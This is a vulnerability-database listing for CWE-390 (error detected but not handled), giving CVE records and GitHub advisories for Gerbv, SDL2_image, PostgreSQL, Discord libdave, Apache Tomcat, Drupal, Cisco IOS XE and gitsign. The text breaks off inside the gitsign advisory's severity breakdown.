CWE-390
AllowedDetection of Error Condition Without Action
Abstraction: Base · Status: Draft
The product detects a specific error, but takes no actions to handle the error.
41 vulnerabilities reference this CWE, most recent first.
CVE-2021-40391 (GCVE-0-2021-40391)
Vulnerability from cvelistv5 – Published: 2021-11-19 18:53 – Updated: 2024-08-04 02:44- CWE-390 - Detection of Error Condition Without Action
| URL | Tags |
|---|---|
| https://www.talosintelligence.com/vulnerability_r… | x_refsource_MISC |
| https://lists.debian.org/debian-lts-announce/2021… | mailing-listx_refsource_MLIST |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisoryx_refsource_FEDORA |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-04T02:44:09.158Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1402"
},
{
"name": "[debian-lts-announce] 20211203 [SECURITY] [DLA 2839-1] gerbv security update",
"tags": [
"mailing-list",
"x_refsource_MLIST",
"x_transferred"
],
"url": "https://lists.debian.org/debian-lts-announce/2021/12/msg00003.html"
},
{
"name": "FEDORA-2022-4a3ef86baa",
"tags": [
"vendor-advisory",
"x_refsource_FEDORA",
"x_transferred"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TUM5GIUZJ7AVHVCXDZW6ZVCAPV2ISN47/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "Gerbv",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "Gerbv 2.7.0 , Gerbv dev (commit b5f1eacd) ,Gerbv forked dev (commit 71493260)"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "An out-of-bounds write vulnerability exists in the drill format T-code tool number functionality of Gerbv 2.7.0, dev (commit b5f1eacd), and the forked version of Gerbv (commit 71493260). A specially-crafted drill file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability."
}
],
"metrics": [
{
"cvssV3_0": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 10,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-390",
"description": "CWE-390: Detection of Error Condition Without Action",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-07-09T03:06:21.000Z",
"orgId": "b86d76f8-0f8a-4a96-a78d-d8abfc7fc29b",
"shortName": "talos"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1402"
},
{
"name": "[debian-lts-announce] 20211203 [SECURITY] [DLA 2839-1] gerbv security update",
"tags": [
"mailing-list",
"x_refsource_MLIST"
],
"url": "https://lists.debian.org/debian-lts-announce/2021/12/msg00003.html"
},
{
"name": "FEDORA-2022-4a3ef86baa",
"tags": [
"vendor-advisory",
"x_refsource_FEDORA"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TUM5GIUZJ7AVHVCXDZW6ZVCAPV2ISN47/"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "talos-cna@cisco.com",
"ID": "CVE-2021-40391",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "Gerbv",
"version": {
"version_data": [
{
"version_value": "Gerbv 2.7.0 , Gerbv dev (commit b5f1eacd) ,Gerbv forked dev (commit 71493260)"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An out-of-bounds write vulnerability exists in the drill format T-code tool number functionality of Gerbv 2.7.0, dev (commit b5f1eacd), and the forked version of Gerbv (commit 71493260). A specially-crafted drill file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability."
}
]
},
"impact": {
"cvss": {
"baseScore": 10,
"baseSeverity": null,
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.0"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-390: Detection of Error Condition Without Action"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1402",
"refsource": "MISC",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1402"
},
{
"name": "[debian-lts-announce] 20211203 [SECURITY] [DLA 2839-1] gerbv security update",
"refsource": "MLIST",
"url": "https://lists.debian.org/debian-lts-announce/2021/12/msg00003.html"
},
{
"name": "FEDORA-2022-4a3ef86baa",
"refsource": "FEDORA",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TUM5GIUZJ7AVHVCXDZW6ZVCAPV2ISN47/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "b86d76f8-0f8a-4a96-a78d-d8abfc7fc29b",
"assignerShortName": "talos",
"cveId": "CVE-2021-40391",
"datePublished": "2021-11-19T18:53:49.000Z",
"dateReserved": "2021-09-01T00:00:00.000Z",
"dateUpdated": "2024-08-04T02:44:09.158Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2019-5051 (GCVE-0-2019-5051)
Vulnerability from cvelistv5 – Published: 2019-07-03 18:43 – Updated: 2024-08-04 19:47- CWE-390 - Detection of Error Condition Without Action
| URL | Tags |
|---|---|
| https://lists.debian.org/debian-lts-announce/2019… | mailing-listx_refsource_MLIST |
| http://lists.opensuse.org/opensuse-security-annou… | vendor-advisoryx_refsource_SUSE |
| http://lists.opensuse.org/opensuse-security-annou… | vendor-advisoryx_refsource_SUSE |
| https://usn.ubuntu.com/4238-1/ | vendor-advisoryx_refsource_UBUNTU |
| https://talosintelligence.com/vulnerability_repor… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Simple DirectMedia |
Affected:
Simple DirectMedia Layer SDL2_image 2.0.4
|
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-04T19:47:55.830Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "[debian-lts-announce] 20190727 [SECURITY] [DLA 1865-1] sdl-image1.2 security update",
"tags": [
"mailing-list",
"x_refsource_MLIST",
"x_transferred"
],
"url": "https://lists.debian.org/debian-lts-announce/2019/07/msg00026.html"
},
{
"name": "openSUSE-SU-2019:2070",
"tags": [
"vendor-advisory",
"x_refsource_SUSE",
"x_transferred"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00012.html"
},
{
"name": "openSUSE-SU-2019:2108",
"tags": [
"vendor-advisory",
"x_refsource_SUSE",
"x_transferred"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00029.html"
},
{
"name": "USN-4238-1",
"tags": [
"vendor-advisory",
"x_refsource_UBUNTU",
"x_transferred"
],
"url": "https://usn.ubuntu.com/4238-1/"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2019-0820"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "Simple DirectMedia",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "Simple DirectMedia Layer SDL2_image 2.0.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "An exploitable heap-based buffer overflow vulnerability exists when loading a PCX file in SDL2_image, version 2.0.4. A missing error handler can lead to a buffer overflow and potential code execution. An attacker can provide a specially crafted image file to trigger this vulnerability."
}
],
"metrics": [
{
"cvssV3_0": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-390",
"description": "CWE-390: Detection of Error Condition Without Action",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-04-19T17:33:25.000Z",
"orgId": "b86d76f8-0f8a-4a96-a78d-d8abfc7fc29b",
"shortName": "talos"
},
"references": [
{
"name": "[debian-lts-announce] 20190727 [SECURITY] [DLA 1865-1] sdl-image1.2 security update",
"tags": [
"mailing-list",
"x_refsource_MLIST"
],
"url": "https://lists.debian.org/debian-lts-announce/2019/07/msg00026.html"
},
{
"name": "openSUSE-SU-2019:2070",
"tags": [
"vendor-advisory",
"x_refsource_SUSE"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00012.html"
},
{
"name": "openSUSE-SU-2019:2108",
"tags": [
"vendor-advisory",
"x_refsource_SUSE"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00029.html"
},
{
"name": "USN-4238-1",
"tags": [
"vendor-advisory",
"x_refsource_UBUNTU"
],
"url": "https://usn.ubuntu.com/4238-1/"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2019-0820"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "talos-cna@cisco.com",
"ID": "CVE-2019-5051",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "Simple DirectMedia",
"version": {
"version_data": [
{
"version_value": "Simple DirectMedia Layer SDL2_image 2.0.4"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An exploitable heap-based buffer overflow vulnerability exists when loading a PCX file in SDL2_image, version 2.0.4. A missing error handler can lead to a buffer overflow and potential code execution. An attacker can provide a specially crafted image file to trigger this vulnerability."
}
]
},
"impact": {
"cvss": {
"baseScore": 8.8,
"baseSeverity": "High",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.0"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-390: Detection of Error Condition Without Action"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "[debian-lts-announce] 20190727 [SECURITY] [DLA 1865-1] sdl-image1.2 security update",
"refsource": "MLIST",
"url": "https://lists.debian.org/debian-lts-announce/2019/07/msg00026.html"
},
{
"name": "openSUSE-SU-2019:2070",
"refsource": "SUSE",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00012.html"
},
{
"name": "openSUSE-SU-2019:2108",
"refsource": "SUSE",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00029.html"
},
{
"name": "USN-4238-1",
"refsource": "UBUNTU",
"url": "https://usn.ubuntu.com/4238-1/"
},
{
"name": "https://talosintelligence.com/vulnerability_reports/TALOS-2019-0820",
"refsource": "MISC",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2019-0820"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "b86d76f8-0f8a-4a96-a78d-d8abfc7fc29b",
"assignerShortName": "talos",
"cveId": "CVE-2019-5051",
"datePublished": "2019-07-03T18:43:48.000Z",
"dateReserved": "2019-01-04T00:00:00.000Z",
"dateUpdated": "2024-08-04T19:47:55.830Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2017-7485 (GCVE-0-2017-7485)
Vulnerability from cvelistv5 – Published: 2017-05-12 19:00 – Updated: 2024-08-05 16:04| URL | Tags |
|---|---|
| http://www.securitytracker.com/id/1038476 | vdb-entryx_refsource_SECTRACK |
| http://www.debian.org/security/2017/dsa-3851 | vendor-advisoryx_refsource_DEBIAN |
| https://access.redhat.com/errata/RHSA-2017:2425 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2017:1678 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2017:1677 | vendor-advisoryx_refsource_REDHAT |
| https://www.postgresql.org/about/news/1746/ | x_refsource_CONFIRM |
| https://access.redhat.com/errata/RHSA-2017:1838 | vendor-advisoryx_refsource_REDHAT |
| http://www.securityfocus.com/bid/98461 | vdb-entryx_refsource_BID |
| https://security.gentoo.org/glsa/201710-06 | vendor-advisoryx_refsource_GENTOO |
| Vendor | Product | Version | |
|---|---|---|---|
| The PostgreSQL Global Development Group | PostgreSQL |
Affected:
9.3 - 9.6
|
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:04:11.584Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "1038476",
"tags": [
"vdb-entry",
"x_refsource_SECTRACK",
"x_transferred"
],
"url": "http://www.securitytracker.com/id/1038476"
},
{
"name": "DSA-3851",
"tags": [
"vendor-advisory",
"x_refsource_DEBIAN",
"x_transferred"
],
"url": "http://www.debian.org/security/2017/dsa-3851"
},
{
"name": "RHSA-2017:2425",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2017:2425"
},
{
"name": "RHSA-2017:1678",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2017:1678"
},
{
"name": "RHSA-2017:1677",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2017:1677"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://www.postgresql.org/about/news/1746/"
},
{
"name": "RHSA-2017:1838",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2017:1838"
},
{
"name": "98461",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/98461"
},
{
"name": "GLSA-201710-06",
"tags": [
"vendor-advisory",
"x_refsource_GENTOO",
"x_transferred"
],
"url": "https://security.gentoo.org/glsa/201710-06"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "PostgreSQL",
"vendor": "The PostgreSQL Global Development Group",
"versions": [
{
"status": "affected",
"version": "9.3 - 9.6"
}
]
}
],
"datePublic": "2017-05-12T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In PostgreSQL 9.3.x before 9.3.17, 9.4.x before 9.4.12, 9.5.x before 9.5.7, and 9.6.x before 9.6.3, it was found that the PGREQUIRESSL environment variable was no longer enforcing a SSL/TLS connection to a PostgreSQL server. An active Man-in-the-Middle attacker could use this flaw to strip the SSL/TLS protection from a connection between a client and a server."
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-390",
"description": "CWE-390",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2018-01-04T19:57:01.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"name": "1038476",
"tags": [
"vdb-entry",
"x_refsource_SECTRACK"
],
"url": "http://www.securitytracker.com/id/1038476"
},
{
"name": "DSA-3851",
"tags": [
"vendor-advisory",
"x_refsource_DEBIAN"
],
"url": "http://www.debian.org/security/2017/dsa-3851"
},
{
"name": "RHSA-2017:2425",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2017:2425"
},
{
"name": "RHSA-2017:1678",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2017:1678"
},
{
"name": "RHSA-2017:1677",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2017:1677"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://www.postgresql.org/about/news/1746/"
},
{
"name": "RHSA-2017:1838",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2017:1838"
},
{
"name": "98461",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/98461"
},
{
"name": "GLSA-201710-06",
"tags": [
"vendor-advisory",
"x_refsource_GENTOO"
],
"url": "https://security.gentoo.org/glsa/201710-06"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "secalert@redhat.com",
"ID": "CVE-2017-7485",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "PostgreSQL",
"version": {
"version_data": [
{
"version_value": "9.3 - 9.6"
}
]
}
}
]
},
"vendor_name": "The PostgreSQL Global Development Group"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "In PostgreSQL 9.3.x before 9.3.17, 9.4.x before 9.4.12, 9.5.x before 9.5.7, and 9.6.x before 9.6.3, it was found that the PGREQUIRESSL environment variable was no longer enforcing a SSL/TLS connection to a PostgreSQL server. An active Man-in-the-Middle attacker could use this flaw to strip the SSL/TLS protection from a connection between a client and a server."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-390"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "1038476",
"refsource": "SECTRACK",
"url": "http://www.securitytracker.com/id/1038476"
},
{
"name": "DSA-3851",
"refsource": "DEBIAN",
"url": "http://www.debian.org/security/2017/dsa-3851"
},
{
"name": "RHSA-2017:2425",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2017:2425"
},
{
"name": "RHSA-2017:1678",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2017:1678"
},
{
"name": "RHSA-2017:1677",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2017:1677"
},
{
"name": "https://www.postgresql.org/about/news/1746/",
"refsource": "CONFIRM",
"url": "https://www.postgresql.org/about/news/1746/"
},
{
"name": "RHSA-2017:1838",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2017:1838"
},
{
"name": "98461",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/98461"
},
{
"name": "GLSA-201710-06",
"refsource": "GENTOO",
"url": "https://security.gentoo.org/glsa/201710-06"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2017-7485",
"datePublished": "2017-05-12T19:00:00.000Z",
"dateReserved": "2017-04-05T00:00:00.000Z",
"dateUpdated": "2024-08-05T16:04:11.584Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-3Q99-X36R-RCHH
Vulnerability from github – Published: 2026-10-02 03:31 – Updated: 2026-10-02 03:31Discord libdave before 1.2.0 did not reject an MLS Welcome message when the resulting group roster contained an unrecognized participant. An attacker in control of the DAVE signaling path (the voice gateway, or an equivalent position able to add, alter, or withhold signaling messages to a client) could cause affected clients to accept an unauthorized member into the end-to-end encrypted media session, compromising the confidentiality and integrity of audio and video.
{
"affected": [],
"aliases": [
"CVE-2026-104480"
],
"database_specific": {
"cwe_ids": [
"CWE-390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T02:17:02Z",
"severity": "CRITICAL"
},
"details": "Discord libdave before 1.2.0 did not reject an MLS Welcome message when the resulting group roster contained an unrecognized participant. An attacker in control of the DAVE signaling path (the voice gateway, or an equivalent position able to add, alter, or withhold signaling messages to a client) could cause affected clients to accept an unauthorized member into the end-to-end encrypted media session, compromising the confidentiality and integrity of audio and video.",
"id": "GHSA-3q99-x36r-rchh",
"modified": "2026-10-02T03:31:10Z",
"published": "2026-10-02T03:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104480"
},
{
"type": "WEB",
"url": "https://github.com/discord/libdave/commit/9686fbaea864aa19f0675e486672b6a77811b6a1"
},
{
"type": "WEB",
"url": "https://daveprotocol.com"
},
{
"type": "WEB",
"url": "https://github.com/discord/libdave"
},
{
"type": "WEB",
"url": "https://github.com/discord/libdave/releases/tag/v1.2.0/cpp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4X29-79GH-6V8Q
Vulnerability from github – Published: 2026-06-29 21:32 – Updated: 2026-06-30 15:30Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring CRLs for a FFM based connector.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118.
Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-53434"
],
"database_specific": {
"cwe_ids": [
"CWE-390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T21:16:44Z",
"severity": "CRITICAL"
},
"details": "Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring CRLs for a FFM based connector.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118.\n\nUsers are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fixes the issue.",
"id": "GHSA-4x29-79gh-6v8q",
"modified": "2026-06-30T15:30:43Z",
"published": "2026-06-29T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53434"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/x510lbq0sfrd1qyo7q3r1mpllgpdcosk"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/06/29/22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-52JR-X6H6-XJ6G
Vulnerability from github – Published: 2024-12-05 15:31 – Updated: 2024-12-05 19:58Under certain uncommon site configurations, a bug in the CKEditor 5 module can cause some image uploads to move the entire webroot to a different location on the file system. This could be exploited by a malicious user to take down a site.
The issue is mitigated by the fact that several non-default site configurations must exist simultaneously for this to occur.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-11942"
],
"database_specific": {
"cwe_ids": [
"CWE-390"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-05T19:58:23Z",
"nvd_published_at": "2024-12-05T15:15:08Z",
"severity": "MODERATE"
},
"details": "Under certain uncommon site configurations, a bug in the CKEditor 5 module can cause some image uploads to move the entire webroot to a different location on the file system. This could be exploited by a malicious user to take down a site.\n\nThe issue is mitigated by the fact that several non-default site configurations must exist simultaneously for this to occur.",
"id": "GHSA-52jr-x6h6-xj6g",
"modified": "2024-12-05T19:58:23Z",
"published": "2024-12-05T15:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11942"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2024-002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Drupal core vulnerable to improper error handling"
}
GHSA-6RX6-H35G-58G2
Vulnerability from github – Published: 2024-03-27 18:32 – Updated: 2024-03-27 18:32A vulnerability in the data model interface (DMI) services of Cisco IOS XE Software could allow an unauthenticated, remote attacker to access resources that should have been protected by a configured IPv4 access control list (ACL).
This vulnerability is due to improper handling of error conditions when a successfully authorized device administrator updates an IPv4 ACL using the NETCONF or RESTCONF protocol, and the update would reorder access control entries (ACEs) in the updated ACL. An attacker could exploit this vulnerability by accessing resources that should have been protected across an affected device.
{
"affected": [],
"aliases": [
"CVE-2024-20316"
],
"database_specific": {
"cwe_ids": [
"CWE-390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T17:15:53Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the data model interface (DMI) services of Cisco IOS XE Software could allow an unauthenticated, remote attacker to access resources that should have been protected by a configured IPv4 access control list (ACL).\n\n This vulnerability is due to improper handling of error conditions when a successfully authorized device administrator updates an IPv4 ACL using the NETCONF or RESTCONF protocol, and the update would reorder access control entries (ACEs) in the updated ACL. An attacker could exploit this vulnerability by accessing resources that should have been protected across an affected device.",
"id": "GHSA-6rx6-h35g-58g2",
"modified": "2024-03-27T18:32:38Z",
"published": "2024-03-27T18:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20316"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-dmi-acl-bypass-Xv8FO8Vz"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-742M-4PJQ-X8QF
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2025-04-20 03:37In PostgreSQL 9.3.x before 9.3.17, 9.4.x before 9.4.12, 9.5.x before 9.5.7, and 9.6.x before 9.6.3, it was found that the PGREQUIRESSL environment variable was no longer enforcing a SSL/TLS connection to a PostgreSQL server. An active Man-in-the-Middle attacker could use this flaw to strip the SSL/TLS protection from a connection between a client and a server.
{
"affected": [],
"aliases": [
"CVE-2017-7485"
],
"database_specific": {
"cwe_ids": [
"CWE-311",
"CWE-390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-12T19:29:00Z",
"severity": "MODERATE"
},
"details": "In PostgreSQL 9.3.x before 9.3.17, 9.4.x before 9.4.12, 9.5.x before 9.5.7, and 9.6.x before 9.6.3, it was found that the PGREQUIRESSL environment variable was no longer enforcing a SSL/TLS connection to a PostgreSQL server. An active Man-in-the-Middle attacker could use this flaw to strip the SSL/TLS protection from a connection between a client and a server.",
"id": "GHSA-742m-4pjq-x8qf",
"modified": "2025-04-20T03:37:39Z",
"published": "2022-05-13T01:46:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7485"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:1677"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:1678"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:1838"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2425"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201710-06"
},
{
"type": "WEB",
"url": "https://www.postgresql.org/about/news/1746"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3851"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98461"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038476"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7C37-GX6W-8VC5
Vulnerability from github – Published: 2026-05-08 17:37 – Updated: 2026-05-15 23:49Summary
CertVerifier.Verify() in pkg/git/verifier.go unconditionally dereferences certs[0] after sd.GetCertificates() without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; GetCertificates() returns an empty slice with no error, causing an immediate index-out-of-range panic. On the gitsign --verify code path (the GPG-compatible mode invoked by git verify-commit), the panic is silently recovered by internal/io/streams.go's Wrap() function, which returns nil instead of an error. main.go then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success.
Severity
Medium (CVSS 3.1: 5.8)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
- Attack Vector: Network — attacker pushes a commit carrying a crafted signature to any accessible repository, or delivers the signature file out-of-band
- Attack Complexity: Low — stripping certificates from a PKCS7 object requires only standard ASN.1 tooling
- Privileges Required: None — writing to an accessible repo (or creating a repo a victim clones) is sufficient
- User Interaction: Required — victim must run
git verify-commit,gitsign --verify, or an equivalent verification step - Scope: Unchanged
- Confidentiality Impact: None
